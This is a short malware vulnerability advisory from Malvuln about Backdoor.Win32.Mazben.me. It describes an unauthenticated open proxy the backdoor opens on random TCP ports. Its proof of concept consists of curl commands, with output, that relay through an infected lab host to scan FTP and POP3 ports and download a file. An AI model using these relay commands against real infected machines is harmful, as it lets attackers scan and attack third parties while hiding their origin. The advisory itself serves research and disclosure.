Backdoor.Win32.Mazben.me Unauthenticated Open Proxy

`Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/6681d5e4b68abd21a14c704edf9e2ff5.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Mazben.me  
Vulnerability: Unauthenticated Open Proxy   
Description: The malware listens on random TCP ports like 3515, 7936, 3972. Third-party attackers who can connect to the infected system can relay requests from the original connection to the destination and then back to the origination system. Attackers may then be able to launch attacks, download files or port scan third party systems and it will appear as the attacks originated from that infected host.  
Type: PE32  
MD5: 6681d5e4b68abd21a14c704edf9e2ff5  
Vuln ID: MVID-2021-0302   
Disclosure: 07/26/2021  
  
  
Exploit/PoC:  
Scan port 21)  
  
curl http://192.168.18.129:3515 -H "Host: 192.168.18.128:21"  
220 INetSim FTP Service ready.  
500 Unknown command.  
500 Unknown command.  
  
  
Scan port 110)  
  
curl http://192.168.18.129:3515 -H "Host: 192.168.18.128:110" -v  
+OK INetSim POP3 Server ready <17458.1627158019@pop3host>  
-ERR Unknown command.  
-ERR Unknown command.  
  
Download filez)  
  
curl http://192.168.18.129:3515/DOOM.exe -H "Host: 192.168.18.128" --out DOOM.exe  
% Total % Received % Xferd Average Speed Time Time Time Current  
Dload Upload Total Spent Left Speed  
100 24576 100 24576 0 0 24576 0 0:00:01 --:--:-- 0:00:01 307k  
  
  
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